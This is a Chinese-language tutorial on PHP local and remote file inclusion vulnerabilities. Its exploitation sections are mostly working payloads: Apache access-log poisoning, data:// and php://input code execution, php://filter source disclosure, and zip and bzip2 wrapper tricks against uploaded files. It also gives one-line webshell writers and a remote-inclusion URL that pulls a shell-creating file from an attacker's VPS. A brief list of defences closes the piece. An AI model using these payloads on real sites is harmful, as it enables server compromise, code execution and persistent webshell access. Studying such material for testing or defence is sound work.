本地文件包含(LFL)

漏洞原理

文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

漏洞利用

利用条件:

(1)include()等函数通过动态变量的方式引入包含文件; (2)用户能够控制该动态变量。

1
2
3
4
5
include()		//使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
include_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

通常情况下,本地文件包含漏洞可以结合文件上传漏洞使用

通过文件上传漏洞上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码

包含Apache日志Getshell

如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,可以考虑利用Apache服务的access.log文件

access.log文件记录了客户端每次请求的相关信息; 当我们访问一个不存在的资源时access.log文件仍然会记录这条资源信息。默认位置:/var/log/httpd/access_log

我们就可以尝试访问http://www.vuln.com/<?php phpinfo(); ?>

Apache会将这条信息记录在access.log文件中,这时如果我们访问access.log文件,就会触发文件包含漏洞。

理论上是这样的,但是实际上却是输入的代码被转义无法解析。

攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。

这时再查看Apache日志文件,显示的就是正常的测试代码。

这时访问:http://www.vuln.com/index.php?arg=/var/log/httpd/access_log,即可成功执行代码

PHP伪协议

伪协议 功能
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
php:// 访问各个输入/输出流
phar:// PHP 归档
zip:// 压缩流
  1. file://

    用于访问本地文件,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的

    1
    http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
  2. data://

    php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。

    该协议需要allow_url_fopen:onallow_url_include :on

    1
    2
    3
    4
    5
    #1.data://text/plain,
    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

    #2.data://text/plain;base64,
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
  3. php://

    在CTF中经常使用的是 php://filterphp://input

    php://filter用于读取源码,php://input用于执行php代码(post中的语句)

    php://input的使用条件是allow_url_include : on

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #1. php://filter/read=convert.base64-encode/resource=[文件名]  //读取文件源码
    http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

    #2.php://input + [POST DATA]执行php代码
    http://127.0.0.1/include.php?file=php://input
    [POST DATA部分] <?php phpinfo(); ?>

    #3.若有写入权限,[POST DATA部分] 写入一句话木马
    <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
  4. zip:// & bzip2:// & zlib://

    zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件

    更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

    示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
    <!--压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传-->
    http://127.0.0.1/include.php?file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

    2.compress.bzip2://file.bz2
    <!--压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)-->
    http://127.0.0.1/include.php?file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

    3.compress.zlib://file.gz
    <!--压缩 phpinfo.txt 为 phpinfo.gz-->
    http://127.0.0.1/include.php?file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz

远程文件包含(RFL)

php.ini中开启allow_url_includeallow_url_fopen时,存在该漏洞

我们可以在远程文件中编写创建一句话木马的php代码

例如我们上传shell.txt

1
?arg=http://攻击者的VPS/shell.txt

shell.txt中写入如下内容

1
2
3
<?php
fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

漏洞防御

  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。